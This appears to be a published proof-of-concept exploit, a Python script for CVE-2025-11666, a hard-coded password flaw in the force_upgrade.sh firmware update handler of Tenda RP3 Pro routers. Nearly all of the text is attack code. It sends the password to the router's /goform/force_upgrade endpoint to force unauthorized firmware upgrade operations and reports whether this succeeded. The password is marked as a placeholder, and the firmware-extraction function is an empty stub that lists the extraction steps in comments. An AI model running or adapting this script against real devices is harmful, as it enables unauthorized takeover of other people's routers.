CVE-2025-11666：Tenda RP3 Pro固件更新处理器硬编码密码漏洞

# CVE-2025-11666 PoC - Tenda RP3 Pro Hard-coded Password in force_upgrade.sh # Vulnerability: Use of Hard-coded Password # Affected: Tenda RP3 Pro <= 22.5.7.93 # Component: Firmware Update Handler (force_upgrade.sh) import requests import sys # Target device configuration TARGET_HOST = "192.168.0.1" # Default Tenda router IP TARGET_PORT = 80 # The hard-coded password extracted from force_upgrade.sh # This is the current_force_upgrade_pwd parameter value HARDCODED_PASSWORD = "Tenda@Force2023" # Example placeholder - actual value from firmware analysis def exploit_force_upgrade(target_url, password): """ Exploit the hard-coded password vulnerability in force_upgrade.sh to perform unauthorized firmware upgrade operations. """ # Step 1: Authenticate using the hard-coded password auth_payload = { "current_force_upgrade_pwd": password, "action": "force_upgrade" } try: # Step 2: Send the malicious request to the firmware update endpoint endpoint = f"http://{target_url}/goform/force_upgrade" response = requests.post( endpoint, data=auth_payload, timeout=10 ) if response.status_code == 200: print(f"[+] Exploit successful! Authentication bypassed.") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def extract_password_from_firmware(firmware_path): """ Extract the hard-coded password from the force_upgrade.sh script within the router firmware. """ # In a real scenario, this would involve: # 1. Downloading firmware from Tenda's website # 2. Extracting the filesystem (typically using binwalk) # 3. Locating force_upgrade.sh # 4. Reading the hard-coded password value pass if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] print(f"[*] Targeting Tenda RP3 Pro at {TARGET_HOST}") print(f"[*] CVE-2025-11666 - Hard-coded Password Exploit") print(f"[*] Using hard-coded password for force_upgrade authentication") exploit_force_upgrade(TARGET_HOST, HARDCODED_PASSWORD) # Note: The actual hard-coded password needs to be extracted from the # specific firmware version's force_upgrade.sh file. # Reference: https://github.com/IOTRes/IOT_Firmware_Update/blob/main/Tenda/RP3.md